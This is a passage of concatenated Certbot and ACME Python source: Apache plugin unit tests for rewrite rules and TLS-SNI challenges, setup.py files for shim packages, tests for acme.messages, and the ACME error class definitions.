        self.assertFalse(self.config._sift_rewrite_rule(not_rewriterule))

    @mock.patch("certbot_apache.configurator.zope.component.getUtility")
    def test_make_vhost_ssl_with_existing_rewrite_rule(self, mock_get_utility):
        self.config.parser.modules.add("rewrite_module")

        http_vhost = self.vh_truth[0]

        self.config.parser.add_dir(
            http_vhost.path, "RewriteEngine", "on")

        self.config.parser.add_dir(
            http_vhost.path, "RewriteRule",
            ["^",
             "https://%{SERVER_NAME}%{REQUEST_URI}",
             "[L,QSA,R=permanent]"])
        self.config.save()

        ssl_vhost = self.config.make_vhost_ssl(self.vh_truth[0])

        self.assertTrue(self.config.parser.find_dir(
            "RewriteEngine", "on", ssl_vhost.path, False))

        conf_text = open(ssl_vhost.filep).read()
        commented_rewrite_rule = ("# RewriteRule ^ "
                                  "https://%{SERVER_NAME}%{REQUEST_URI} "
                                  "[L,QSA,R=permanent]")
        self.assertTrue(commented_rewrite_rule in conf_text)
        mock_get_utility().add_message.assert_called_once_with(mock.ANY,

                                                               mock.ANY)
    @mock.patch("certbot_apache.configurator.zope.component.getUtility")
    def test_make_vhost_ssl_with_existing_rewrite_conds(self, mock_get_utility):
        self.config.parser.modules.add("rewrite_module")

        http_vhost = self.vh_truth[0]

        self.config.parser.add_dir(
            http_vhost.path, "RewriteEngine", "on")

        # Add a chunk that should not be commented out.
        self.config.parser.add_dir(http_vhost.path,
                "RewriteCond", ["%{DOCUMENT_ROOT}/%{REQUEST_FILENAME}", "!-f"])
        self.config.parser.add_dir(
            http_vhost.path, "RewriteRule",
            ["^(.*)$", "b://u%{REQUEST_URI}", "[P,QSA,L]"])

        # Add a chunk that should be commented out.
        self.config.parser.add_dir(http_vhost.path,
                "RewriteCond", ["%{HTTPS}", "!=on"])
        self.config.parser.add_dir(http_vhost.path,
                "RewriteCond", ["%{HTTPS}", "!^$"])
        self.config.parser.add_dir(
            http_vhost.path, "RewriteRule",
            ["^",
             "https://%{SERVER_NAME}%{REQUEST_URI}",
             "[L,QSA,R=permanent]"])

        self.config.save()

        ssl_vhost = self.config.make_vhost_ssl(self.vh_truth[0])

        conf_line_set = set(open(ssl_vhost.filep).read().splitlines())

        not_commented_cond1 = ("RewriteCond "
                "%{DOCUMENT_ROOT}/%{REQUEST_FILENAME} !-f")
        not_commented_rewrite_rule = ("RewriteRule "
            "^(.*)$ b://u%{REQUEST_URI} [P,QSA,L]")

        commented_cond1 = "# RewriteCond %{HTTPS} !=on"
        commented_cond2 = "# RewriteCond %{HTTPS} !^$"
        commented_rewrite_rule = ("# RewriteRule ^ "
                                  "https://%{SERVER_NAME}%{REQUEST_URI} "
                                  "[L,QSA,R=permanent]")

        self.assertTrue(not_commented_cond1 in conf_line_set)
        self.assertTrue(not_commented_rewrite_rule in conf_line_set)

        self.assertTrue(commented_cond1 in conf_line_set)
        self.assertTrue(commented_cond2 in conf_line_set)
        self.assertTrue(commented_rewrite_rule in conf_line_set)
        mock_get_utility().add_message.assert_called_once_with(mock.ANY,
                                                               mock.ANY)


    def get_achalls(self):
        """Return testing achallenges."""
        account_key = self.rsa512jwk
        achall1 = achallenges.KeyAuthorizationAnnotatedChallenge(
            challb=acme_util.chall_to_challb(
                challenges.TLSSNI01(
                    token="jIq_Xy1mXGN37tb4L6Xj_es58fW571ZNyXekdZzhh7Q"),
                "pending"),
            domain="encryption-example.demo", account_key=account_key)
        achall2 = achallenges.KeyAuthorizationAnnotatedChallenge(
            challb=acme_util.chall_to_challb(
                challenges.TLSSNI01(
                    token="uqnaPzxtrndteOqtrXb0Asl5gOJfWAnnx6QJyvcmlDU"),
                "pending"),
            domain="certbot.demo", account_key=account_key)

        return account_key, achall1, achall2

    def test_make_addrs_sni_ready(self):
        self.config.version = (2, 2)
        self.config.make_addrs_sni_ready(
            set([obj.Addr.fromstring("*:443"), obj.Addr.fromstring("*:80")]))
        self.assertTrue(self.config.parser.find_dir(
            "NameVirtualHost", "*:80", exclude=False))
        self.assertTrue(self.config.parser.find_dir(
            "NameVirtualHost", "*:443", exclude=False))

    def test_aug_version(self):
        mock_match = mock.Mock(return_value=["something"])
        self.config.aug.match = mock_match
        # pylint: disable=protected-access
        self.assertEqual(self.config._check_aug_version(),
                         ["something"])
        self.config.aug.match.side_effect = RuntimeError
        self.assertFalse(self.config._check_aug_version())

class AugeasVhostsTest(util.ApacheTest):
    """Test vhosts with illegal names dependant on augeas version."""
    # pylint: disable=protected-access

    def setUp(self):  # pylint: disable=arguments-differ
        td = "debian_apache_2_4/augeas_vhosts"
        cr = "debian_apache_2_4/augeas_vhosts/apache2"
        vr = "debian_apache_2_4/augeas_vhosts/apache2/sites-available"
        super(AugeasVhostsTest, self).setUp(test_dir=td,
                                            config_root=cr,
                                            vhost_root=vr)

        self.config = util.get_apache_configurator(
            self.config_path, self.vhost_path, self.config_dir, self.work_dir)
        self.vh_truth = util.get_vh_truth(
            self.temp_dir, "debian_apache_2_4/augeas_vhosts")

    def tearDown(self):
        shutil.rmtree(self.temp_dir)
        shutil.rmtree(self.config_dir)
        shutil.rmtree(self.work_dir)

    def test_choosevhost_with_illegal_name(self):
        self.config.aug = mock.MagicMock()
        self.config.aug.match.side_effect = RuntimeError
        path = "debian_apache_2_4/augeas_vhosts/apache2/sites-available/old,default.conf"
        chosen_vhost = self.config._create_vhost(path)
        self.assertEqual(None, chosen_vhost)

    def test_choosevhost_works(self):
        path = "debian_apache_2_4/augeas_vhosts/apache2/sites-available/old,default.conf"
        chosen_vhost = self.config._create_vhost(path)
        self.assertTrue(chosen_vhost == None or chosen_vhost.path == path)

    @mock.patch("certbot_apache.configurator.ApacheConfigurator._create_vhost")
    def test_get_vhost_continue(self, mock_vhost):
        mock_vhost.return_value = None
        vhs = self.config.get_virtual_hosts()
        self.assertEqual([], vhs)

if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Test for certbot_apache.tls_sni_01."""
import unittest
import shutil

import mock

from certbot import errors
from certbot.plugins import common_test

from certbot_apache import obj
from certbot_apache.tests import util

from six.moves import xrange  # pylint: disable=redefined-builtin, import-error


class TlsSniPerformTest(util.ApacheTest):
    """Test the ApacheTlsSni01 challenge."""

    auth_key = common_test.TLSSNI01Test.auth_key
    achalls = common_test.TLSSNI01Test.achalls

    def setUp(self):  # pylint: disable=arguments-differ
        super(TlsSniPerformTest, self).setUp()

        config = util.get_apache_configurator(
            self.config_path, self.vhost_path, self.config_dir, self.work_dir)
        config.config.tls_sni_01_port = 443

        from certbot_apache import tls_sni_01
        self.sni = tls_sni_01.ApacheTlsSni01(config)

    def tearDown(self):
        shutil.rmtree(self.temp_dir)
        shutil.rmtree(self.config_dir)
        shutil.rmtree(self.work_dir)

    def test_perform0(self):
        resp = self.sni.perform()
        self.assertEqual(len(resp), 0)

    @mock.patch("certbot.util.exe_exists")
    @mock.patch("certbot.util.run_script")
    def test_perform1(self, _, mock_exists):
        mock_register = mock.Mock()
        self.sni.configurator.reverter.register_undo_command = mock_register

        mock_exists.return_value = True
        self.sni.configurator.parser.update_runtime_variables = mock.Mock()

        achall = self.achalls[0]
        self.sni.add_chall(achall)
        response = self.achalls[0].response(self.auth_key)
        mock_setup_cert = mock.MagicMock(return_value=response)
        # pylint: disable=protected-access
        self.sni._setup_challenge_cert = mock_setup_cert

        responses = self.sni.perform()

        # Make sure that register_undo_command was called into temp directory.
        self.assertEqual(True, mock_register.call_args[0][0])

        mock_setup_cert.assert_called_once_with(achall)

        # Check to make sure challenge config path is included in apache config
        self.assertEqual(
            len(self.sni.configurator.parser.find_dir(
                "Include", self.sni.challenge_conf)), 1)
        self.assertEqual(len(responses), 1)
        self.assertEqual(responses[0], response)

    def test_perform2(self):
        # Avoid load module
        self.sni.configurator.parser.modules.add("ssl_module")

        acme_responses = []
        for achall in self.achalls:
            self.sni.add_chall(achall)
            acme_responses.append(achall.response(self.auth_key))

        mock_setup_cert = mock.MagicMock(side_effect=acme_responses)
        # pylint: disable=protected-access
        self.sni._setup_challenge_cert = mock_setup_cert

        with mock.patch("certbot_apache.configurator.ApacheConfigurator.enable_mod"):
            sni_responses = self.sni.perform()

        self.assertEqual(mock_setup_cert.call_count, 2)

        # Make sure calls made to mocked function were correct
        self.assertEqual(
            mock_setup_cert.call_args_list[0], mock.call(self.achalls[0]))
        self.assertEqual(
            mock_setup_cert.call_args_list[1], mock.call(self.achalls[1]))

        self.assertEqual(
            len(self.sni.configurator.parser.find_dir(
                "Include", self.sni.challenge_conf)),
            1)
        self.assertEqual(len(sni_responses), 2)
        for i in xrange(2):
            self.assertEqual(sni_responses[i], acme_responses[i])

    def test_mod_config(self):
        z_domains = []
        for achall in self.achalls:
            self.sni.add_chall(achall)
            z_domain = achall.response(self.auth_key).z_domain
            z_domains.append(set([z_domain]))

        self.sni._mod_config()  # pylint: disable=protected-access
        self.sni.configurator.save()

        self.sni.configurator.parser.find_dir(
            "Include", self.sni.challenge_conf)
        vh_match = self.sni.configurator.aug.match(
            "/files" + self.sni.challenge_conf + "//VirtualHost")

        vhs = []
        for match in vh_match:
            # pylint: disable=protected-access
            vhs.append(self.sni.configurator._create_vhost(match))
        self.assertEqual(len(vhs), 2)
        for vhost in vhs:
            self.assertEqual(vhost.addrs, set([obj.Addr.fromstring("*:443")]))
            names = vhost.get_names()
            self.assertTrue(names in z_domains)

    def test_get_addrs_default(self):
        self.sni.configurator.choose_vhost = mock.Mock(
            return_value=obj.VirtualHost(
                "path", "aug_path",
                set([obj.Addr.fromstring("_default_:443")]),
                False, False)
        )

        # pylint: disable=protected-access
        self.assertEqual(
            set([obj.Addr.fromstring("*:443")]),
            self.sni._get_addrs(self.achalls[0]))

    def test_get_addrs_no_vhost_found(self):
        self.sni.configurator.choose_vhost = mock.Mock(
            side_effect=errors.MissingCommandlineFlag(
                "Failed to run Apache plugin non-interactively"))

        # pylint: disable=protected-access
        self.assertEqual(
            set([obj.Addr.fromstring("*:443")]),
            self.sni._get_addrs(self.achalls[0]))


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Test for certbot_apache.augeas_configurator."""
import os
import shutil
import unittest

import mock

from certbot import errors

from certbot_apache.tests import util


class AugeasConfiguratorTest(util.ApacheTest):
    """Test for Augeas Configurator base class."""

    def setUp(self):  # pylint: disable=arguments-differ
        super(AugeasConfiguratorTest, self).setUp()

        self.config = util.get_apache_configurator(
            self.config_path, self.vhost_path, self.config_dir, self.work_dir)

        self.vh_truth = util.get_vh_truth(
            self.temp_dir, "debian_apache_2_4/multiple_vhosts")

    def tearDown(self):
        shutil.rmtree(self.config_dir)
        shutil.rmtree(self.work_dir)
        shutil.rmtree(self.temp_dir)

    def test_bad_parse(self):
        # pylint: disable=protected-access
        self.config.parser._parse_file(os.path.join(
            self.config.parser.root, "conf-available", "bad_conf_file.conf"))
        self.assertRaises(
            errors.PluginError, self.config.check_parsing_errors, "httpd.aug")

    def test_bad_save(self):
        mock_save = mock.Mock()
        mock_save.side_effect = IOError
        self.config.aug.save = mock_save

        self.assertRaises(errors.PluginError, self.config.save)

    def test_bad_save_checkpoint(self):
        self.config.reverter.add_to_checkpoint = mock.Mock(
            side_effect=errors.ReverterError)
        self.config.parser.add_dir(
            self.vh_truth[0].path, "Test", "bad_save_ckpt")
        self.assertRaises(errors.PluginError, self.config.save)

    def test_bad_save_finalize_checkpoint(self):
        self.config.reverter.finalize_checkpoint = mock.Mock(
            side_effect=errors.ReverterError)
        self.config.parser.add_dir(
            self.vh_truth[0].path, "Test", "bad_save_ckpt")
        self.assertRaises(errors.PluginError, self.config.save, "Title")

    def test_finalize_save(self):
        mock_finalize = mock.Mock()
        self.config.reverter = mock_finalize
        self.config.save("Example Title")

        self.assertTrue(mock_finalize.is_called)

    def test_recovery_routine(self):
        mock_load = mock.Mock()
        self.config.aug.load = mock_load

        self.config.recovery_routine()
        self.assertEqual(mock_load.call_count, 1)

    def test_recovery_routine_error(self):
        self.config.reverter.recovery_routine = mock.Mock(
            side_effect=errors.ReverterError)

        self.assertRaises(
            errors.PluginError, self.config.recovery_routine)

    def test_revert_challenge_config(self):
        mock_load = mock.Mock()
        self.config.aug.load = mock_load

        self.config.revert_challenge_config()
        self.assertEqual(mock_load.call_count, 1)

    def test_revert_challenge_config_error(self):
        self.config.reverter.revert_temporary_config = mock.Mock(
            side_effect=errors.ReverterError)

        self.assertRaises(
            errors.PluginError, self.config.revert_challenge_config)

    def test_rollback_checkpoints(self):
        mock_load = mock.Mock()
        self.config.aug.load = mock_load

        self.config.rollback_checkpoints()
        self.assertEqual(mock_load.call_count, 1)

    def test_rollback_error(self):
        self.config.reverter.rollback_checkpoints = mock.Mock(
            side_effect=errors.ReverterError)
        self.assertRaises(errors.PluginError, self.config.rollback_checkpoints)

    def test_view_config_changes(self):
        self.config.view_config_changes()

    def test_view_config_changes_error(self):
        self.config.reverter.view_config_changes = mock.Mock(
            side_effect=errors.ReverterError)
        self.assertRaises(errors.PluginError, self.config.view_config_changes)


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






import codecs
import os
import sys

from setuptools import setup
from setuptools import find_packages


def read_file(filename, encoding='utf8'):
    """Read unicode from given file."""
    with codecs.open(filename, encoding=encoding) as fd:
        return fd.read()


here = os.path.abspath(os.path.dirname(__file__))
readme = read_file(os.path.join(here, 'README.rst'))


version = '0.8.0.dev0'


# This package is a simple shim around certbot-apache
install_requires = [
    'certbot-apache',
    'letsencrypt=={0}'.format(version),
]


setup(
    name='letsencrypt-apache',
    version=version,
    description="Apache plugin for Let's Encrypt",
    long_description=readme,
    url='https://github.com/letsencrypt/letsencrypt',
    author="Certbot Project",
    author_email='client-dev@letsencrypt.org',
    license='Apache License 2.0',
    classifiers=[
        'Development Status :: 3 - Alpha',
        'Environment :: Plugins',
        'Intended Audience :: System Administrators',
        'License :: OSI Approved :: Apache Software License',
        'Operating System :: POSIX :: Linux',
        'Programming Language :: Python',
        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Topic :: Internet :: WWW/HTTP',
        'Topic :: Security',
        'Topic :: System :: Installation/Setup',
        'Topic :: System :: Networking',
        'Topic :: System :: Systems Administration',
        'Topic :: Utilities',
    ],

    packages=find_packages(),
    include_package_data=True,
    install_requires=install_requires,
)






"""Let's Encrypt Apache plugin."""
import sys


import certbot_apache


sys.modules['letsencrypt_apache'] = certbot_apache






import codecs
import os
import sys

from setuptools import setup
from setuptools import find_packages


def read_file(filename, encoding='utf8'):
    """Read unicode from given file."""
    with codecs.open(filename, encoding=encoding) as fd:
        return fd.read()


here = os.path.abspath(os.path.dirname(__file__))
readme = read_file(os.path.join(here, 'README.rst'))


# This package is a simple shim around certbot
install_requires = ['certbot']


version = '0.8.0.dev0'


setup(
    name='letsencrypt',
    version=version,
    description="ACME client",
    long_description=readme,
    url='https://github.com/letsencrypt/letsencrypt',
    author="Certbot Project",
    author_email='client-dev@letsencrypt.org',
    license='Apache License 2.0',
    classifiers=[
        'Development Status :: 3 - Alpha',
        'Environment :: Console',
        'Environment :: Console :: Curses',
        'Intended Audience :: System Administrators',
        'License :: OSI Approved :: Apache Software License',
        'Operating System :: POSIX :: Linux',
        'Programming Language :: Python',
        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Topic :: Internet :: WWW/HTTP',
        'Topic :: Security',
        'Topic :: System :: Installation/Setup',
        'Topic :: System :: Networking',
        'Topic :: System :: Systems Administration',
        'Topic :: Utilities',
    ],

    packages=find_packages(),
    include_package_data=True,
    install_requires=install_requires,
    entry_points={
        'console_scripts': [
            'letsencrypt = certbot.main:main',
        ],
    },
)






"""Let's Encrypt ACME client."""
import sys


import certbot


sys.modules['letsencrypt'] = certbot






import sys

from setuptools import setup
from setuptools import find_packages


version = '0.9.0.dev0'

# Please update tox.ini when modifying dependency version requirements
install_requires = [
    # load_pem_private/public_key (>=0.6)
    # rsa_recover_prime_factors (>=0.8)
    'cryptography>=0.8',
    'ndg-httpsclient',  # urllib3 InsecurePlatformWarning (#304)
    'pyasn1',  # urllib3 InsecurePlatformWarning (#304)
    # Connection.set_tlsext_host_name (>=0.13)
    'PyOpenSSL>=0.13',
    'pyrfc3339',
    'pytz',
    'requests',
    # For pkg_resources. >=1.0 so pip resolves it to a version cryptography
    # will tolerate; see #2599:
    'setuptools>=1.0',
    'six',
]

# env markers in extras_require cause problems with older pip: #517
# Keep in sync with conditional_requirements.py.
if sys.version_info < (2, 7):
    install_requires.extend([
        # only some distros recognize stdlib argparse as already satisfying
        'argparse',
        'mock<1.1.0',
    ])
else:
    install_requires.append('mock')

# dnspython 1.12 is required to support both Python 2 and Python 3.
dns_extras = [
    'dnspython>=1.12',
]

dev_extras = [
    'nose',
    'pep8',
    'tox',
]

docs_extras = [
    'Sphinx>=1.0',  # autodoc_member_order = 'bysource', autodoc_default_flags
    'sphinx_rtd_theme',
    'sphinxcontrib-programoutput',
]


setup(
    name='acme',
    version=version,
    description='ACME protocol implementation in Python',
    url='https://github.com/letsencrypt/letsencrypt',
    author="Certbot Project",
    author_email='client-dev@letsencrypt.org',
    license='Apache License 2.0',
    classifiers=[
        'Development Status :: 3 - Alpha',
        'Intended Audience :: Developers',
        'License :: OSI Approved :: Apache Software License',
        'Programming Language :: Python',
        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: 3',
        'Programming Language :: Python :: 3.3',
        'Programming Language :: Python :: 3.4',
        'Programming Language :: Python :: 3.5',
        'Topic :: Internet :: WWW/HTTP',
        'Topic :: Security',
    ],

    packages=find_packages(),
    include_package_data=True,
    install_requires=install_requires,
    extras_require={
        'dns': dns_extras,
        'dev': dev_extras,
        'docs': docs_extras,
    },
    entry_points={
        'console_scripts': [
            'jws = acme.jose.jws:CLI.run',
        ],
    },
    test_suite='acme',
)






"""ACME utilities."""
import six


def map_keys(dikt, func):
    """Map dictionary keys."""
    return dict((func(key), value) for key, value in six.iteritems(dikt))






"""Tests for acme.messages."""
import unittest

import mock

from acme import challenges
from acme import jose
from acme import test_util


CERT = test_util.load_comparable_cert('cert.der')
CSR = test_util.load_comparable_csr('csr.der')
KEY = test_util.load_rsa_private_key('rsa512_key.pem')


class ErrorTest(unittest.TestCase):
    """Tests for acme.messages.Error."""

    def setUp(self):
        from acme.messages import Error
        self.error = Error(
            detail='foo', typ='urn:acme:error:malformed', title='title')
        self.jobj = {
            'detail': 'foo',
            'title': 'some title',
            'type': 'urn:acme:error:malformed',
        }
        self.error_custom = Error(typ='custom', detail='bar')
        self.jobj_cusom = {'type': 'custom', 'detail': 'bar'}

    def test_default_typ(self):
        from acme.messages import Error
        self.assertEqual(Error().typ, 'about:blank')

    def test_from_json_empty(self):
        from acme.messages import Error
        self.assertEqual(Error(), Error.from_json('{}'))

    def test_from_json_hashable(self):
        from acme.messages import Error
        hash(Error.from_json(self.error.to_json()))

    def test_description(self):
        self.assertEqual(
            'The request message was malformed', self.error.description)
        self.assertTrue(self.error_custom.description is None)

    def test_str(self):
        self.assertEqual(
            'urn:acme:error:malformed :: The request message was '
            'malformed :: foo :: title', str(self.error))
        self.assertEqual('custom :: bar', str(self.error_custom))


class ConstantTest(unittest.TestCase):
    """Tests for acme.messages._Constant."""

    def setUp(self):
        from acme.messages import _Constant

        class MockConstant(_Constant):  # pylint: disable=missing-docstring
            POSSIBLE_NAMES = {}

        self.MockConstant = MockConstant  # pylint: disable=invalid-name
        self.const_a = MockConstant('a')
        self.const_b = MockConstant('b')

    def test_to_partial_json(self):
        self.assertEqual('a', self.const_a.to_partial_json())
        self.assertEqual('b', self.const_b.to_partial_json())

    def test_from_json(self):
        self.assertEqual(self.const_a, self.MockConstant.from_json('a'))
        self.assertRaises(
            jose.DeserializationError, self.MockConstant.from_json, 'c')

    def test_from_json_hashable(self):
        hash(self.MockConstant.from_json('a'))

    def test_repr(self):
        self.assertEqual('MockConstant(a)', repr(self.const_a))
        self.assertEqual('MockConstant(b)', repr(self.const_b))

    def test_equality(self):
        const_a_prime = self.MockConstant('a')
        self.assertFalse(self.const_a == self.const_b)
        self.assertTrue(self.const_a == const_a_prime)

        self.assertTrue(self.const_a != self.const_b)
        self.assertFalse(self.const_a != const_a_prime)


class DirectoryTest(unittest.TestCase):
    """Tests for acme.messages.Directory."""

    def setUp(self):
        from acme.messages import Directory
        self.dir = Directory({
            'new-reg': 'reg',
            mock.MagicMock(resource_type='new-cert'): 'cert',
            'meta': Directory.Meta(
                terms_of_service='https://example.com/acme/terms',
                website='https://www.example.com/',
                caa_identities=['example.com'],
            ),
        })

    def test_init_wrong_key_value_success(self):  # pylint: disable=no-self-use
        from acme.messages import Directory
        Directory({'foo': 'bar'})

    def test_getitem(self):
        self.assertEqual('reg', self.dir['new-reg'])
        from acme.messages import NewRegistration
        self.assertEqual('reg', self.dir[NewRegistration])
        self.assertEqual('reg', self.dir[NewRegistration()])

    def test_getitem_fails_with_key_error(self):
        self.assertRaises(KeyError, self.dir.__getitem__, 'foo')

    def test_getattr(self):
        self.assertEqual('reg', self.dir.new_reg)

    def test_getattr_fails_with_attribute_error(self):
        self.assertRaises(AttributeError, self.dir.__getattr__, 'foo')

    def test_to_json(self):
        self.assertEqual(self.dir.to_json(), {
            'new-reg': 'reg',
            'new-cert': 'cert',
            'meta': {
                'terms-of-service': 'https://example.com/acme/terms',
                'website': 'https://www.example.com/',
                'caa-identities': ['example.com'],
            },
        })

    def test_from_json_deserialization_unknown_key_success(self):  # pylint: disable=no-self-use
        from acme.messages import Directory
        Directory.from_json({'foo': 'bar'})


class RegistrationTest(unittest.TestCase):
    """Tests for acme.messages.Registration."""

    def setUp(self):
        key = jose.jwk.JWKRSA(key=KEY.public_key())
        contact = (
            'mailto:admin@foo.com',
            'tel:1234',
        )
        agreement = 'https://letsencrypt.org/terms'

        from acme.messages import Registration
        self.reg = Registration(key=key, contact=contact, agreement=agreement)
        self.reg_none = Registration(authorizations='uri/authorizations',
                                     certificates='uri/certificates')

        self.jobj_to = {
            'contact': contact,
            'agreement': agreement,
            'key': key,
        }
        self.jobj_from = self.jobj_to.copy()
        self.jobj_from['key'] = key.to_json()

    def test_from_data(self):
        from acme.messages import Registration
        reg = Registration.from_data(phone='1234', email='admin@foo.com')
        self.assertEqual(reg.contact, (
            'tel:1234',
            'mailto:admin@foo.com',
        ))

    def test_phones(self):
        self.assertEqual(('1234',), self.reg.phones)

    def test_emails(self):
        self.assertEqual(('admin@foo.com',), self.reg.emails)

    def test_to_partial_json(self):
        self.assertEqual(self.jobj_to, self.reg.to_partial_json())

    def test_from_json(self):
        from acme.messages import Registration
        self.assertEqual(self.reg, Registration.from_json(self.jobj_from))

    def test_from_json_hashable(self):
        from acme.messages import Registration
        hash(Registration.from_json(self.jobj_from))


class UpdateRegistrationTest(unittest.TestCase):
    """Tests for acme.messages.UpdateRegistration."""

    def test_empty(self):
        from acme.messages import UpdateRegistration
        jstring = '{"resource": "reg"}'
        self.assertEqual(jstring, UpdateRegistration().json_dumps())
        self.assertEqual(
            UpdateRegistration(), UpdateRegistration.json_loads(jstring))


class RegistrationResourceTest(unittest.TestCase):
    """Tests for acme.messages.RegistrationResource."""

    def setUp(self):
        from acme.messages import RegistrationResource
        self.regr = RegistrationResource(
            body=mock.sentinel.body, uri=mock.sentinel.uri,
            new_authzr_uri=mock.sentinel.new_authzr_uri,
            terms_of_service=mock.sentinel.terms_of_service)

    def test_to_partial_json(self):
        self.assertEqual(self.regr.to_json(), {
            'body': mock.sentinel.body,
            'uri': mock.sentinel.uri,
            'new_authzr_uri': mock.sentinel.new_authzr_uri,
            'terms_of_service': mock.sentinel.terms_of_service,
        })


class ChallengeResourceTest(unittest.TestCase):
    """Tests for acme.messages.ChallengeResource."""

    def test_uri(self):
        from acme.messages import ChallengeResource
        self.assertEqual('http://challb', ChallengeResource(body=mock.MagicMock(
            uri='http://challb'), authzr_uri='http://authz').uri)


class ChallengeBodyTest(unittest.TestCase):
    """Tests for acme.messages.ChallengeBody."""

    def setUp(self):
        self.chall = challenges.DNS(token=jose.b64decode(
            'evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ-PCt92wr-oA'))

        from acme.messages import ChallengeBody
        from acme.messages import Error
        from acme.messages import STATUS_INVALID
        self.status = STATUS_INVALID
        error = Error(typ='urn:acme:error:serverInternal',
                      detail='Unable to communicate with DNS server')
        self.challb = ChallengeBody(
            uri='http://challb', chall=self.chall, status=self.status,
            error=error)

        self.jobj_to = {
            'uri': 'http://challb',
            'status': self.status,
            'type': 'dns',
            'token': 'evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ-PCt92wr-oA',
            'error': error,
        }
        self.jobj_from = self.jobj_to.copy()
        self.jobj_from['status'] = 'invalid'
        self.jobj_from['error'] = {
            'type': 'urn:acme:error:serverInternal',
            'detail': 'Unable to communicate with DNS server',
        }

    def test_to_partial_json(self):
        self.assertEqual(self.jobj_to, self.challb.to_partial_json())

    def test_from_json(self):
        from acme.messages import ChallengeBody
        self.assertEqual(self.challb, ChallengeBody.from_json(self.jobj_from))

    def test_from_json_hashable(self):
        from acme.messages import ChallengeBody
        hash(ChallengeBody.from_json(self.jobj_from))

    def test_proxy(self):
        self.assertEqual(jose.b64decode(
            'evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ-PCt92wr-oA'), self.challb.token)


class AuthorizationTest(unittest.TestCase):
    """Tests for acme.messages.Authorization."""

    def setUp(self):
        from acme.messages import ChallengeBody
        from acme.messages import STATUS_VALID

        self.challbs = (
            ChallengeBody(
                uri='http://challb1', status=STATUS_VALID,
                chall=challenges.HTTP01(token=b'IlirfxKKXAsHtmzK29Pj8A')),
            ChallengeBody(uri='http://challb2', status=STATUS_VALID,
                          chall=challenges.DNS(
                              token=b'DGyRejmCefe7v4NfDGDKfA')),
        )
        combinations = ((0,), (1,))

        from acme.messages import Authorization
        from acme.messages import Identifier
        from acme.messages import IDENTIFIER_FQDN
        identifier = Identifier(typ=IDENTIFIER_FQDN, value='example.com')
        self.authz = Authorization(
            identifier=identifier, combinations=combinations,
            challenges=self.challbs)

        self.jobj_from = {
            'identifier': identifier.to_json(),
            'challenges': [challb.to_json() for challb in self.challbs],
            'combinations': combinations,
        }

    def test_from_json(self):
        from acme.messages import Authorization
        Authorization.from_json(self.jobj_from)

    def test_from_json_hashable(self):
        from acme.messages import Authorization
        hash(Authorization.from_json(self.jobj_from))

    def test_resolved_combinations(self):
        self.assertEqual(self.authz.resolved_combinations, (
            (self.challbs[0],),
            (self.challbs[1],),
        ))


class AuthorizationResourceTest(unittest.TestCase):
    """Tests for acme.messages.AuthorizationResource."""

    def test_json_de_serializable(self):
        from acme.messages import AuthorizationResource
        authzr = AuthorizationResource(
            uri=mock.sentinel.uri,
            body=mock.sentinel.body,
            new_cert_uri=mock.sentinel.new_cert_uri,
        )
        self.assertTrue(isinstance(authzr, jose.JSONDeSerializable))


class CertificateRequestTest(unittest.TestCase):
    """Tests for acme.messages.CertificateRequest."""

    def setUp(self):
        from acme.messages import CertificateRequest
        self.req = CertificateRequest(csr=CSR)

    def test_json_de_serializable(self):
        self.assertTrue(isinstance(self.req, jose.JSONDeSerializable))
        from acme.messages import CertificateRequest
        self.assertEqual(
            self.req, CertificateRequest.from_json(self.req.to_json()))


class CertificateResourceTest(unittest.TestCase):
    """Tests for acme.messages.CertificateResourceTest."""

    def setUp(self):
        from acme.messages import CertificateResource
        self.certr = CertificateResource(
            body=CERT, uri=mock.sentinel.uri, authzrs=(),
            cert_chain_uri=mock.sentinel.cert_chain_uri)

    def test_json_de_serializable(self):
        self.assertTrue(isinstance(self.certr, jose.JSONDeSerializable))
        from acme.messages import CertificateResource
        self.assertEqual(
            self.certr, CertificateResource.from_json(self.certr.to_json()))


class RevocationTest(unittest.TestCase):
    """Tests for acme.messages.RevocationTest."""

    def setUp(self):
        from acme.messages import Revocation
        self.rev = Revocation(certificate=CERT)

    def test_from_json_hashable(self):
        from acme.messages import Revocation
        hash(Revocation.from_json(self.rev.to_json()))


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""ACME errors."""
from acme.jose import errors as jose_errors


class Error(Exception):
    """Generic ACME error."""


class SchemaValidationError(jose_errors.DeserializationError):
    """JSON schema ACME object validation error."""


class ClientError(Error):
    """Network error."""


class UnexpectedUpdate(ClientError):
    """Unexpected update error."""


class NonceError(ClientError):
    """Server response nonce error."""


class BadNonce(NonceError):
    """Bad nonce error."""
    def __init__(self, nonce, error, *args, **kwargs):
        super(BadNonce, self).__init__(*args, **kwargs)
        self.nonce = nonce
        self.error = error

    def __str__(self):
        return 'Invalid nonce ({0!r}): {1}'.format(self.nonce, self.error)


class MissingNonce(NonceError):
    """Missing nonce error.

    According to the specification an "ACME server MUST include an
    Replay-Nonce header field in each successful response to a POST it
    provides to a client (...)".

    :ivar requests.Response response: HTTP Response

    """
    def __init__(self, response, *args, **kwargs):
        super(MissingNonce, self).__init__(*args, **kwargs)
        self.response = response

    def __str__(self):
        return ('Server {0} response did not include a replay '
                'nonce, headers: {1} (This may be a service outage)'.format(
                    self.response.request.method, self.response.headers))


class PollError(ClientError):
    """Generic error when polling for authorization fails.

    This might be caused by either timeout (`exhausted` will be non-empty)
    or by some authorization being invalid.

    :ivar exhausted: Set of `.AuthorizationResource` that didn't finish
        within max allowed attempts.
    :ivar updated: Mapping from original `.AuthorizationResource`
        to the most recently updated one

    """
    def __init__(self, exhausted, updated):
        self.exhausted = exhausted
        self.updated = updated
        super(PollError, self).__init__()

    @property
    def timeout(self):
        """Was the error caused by timeout?"""
        return bool(self.exhausted)

    def __repr__(self):
        return '{0}(exhausted={1!r}, updated={2!r})'.format(
            self.__class__.__name__, self.exhausted, self.updated)






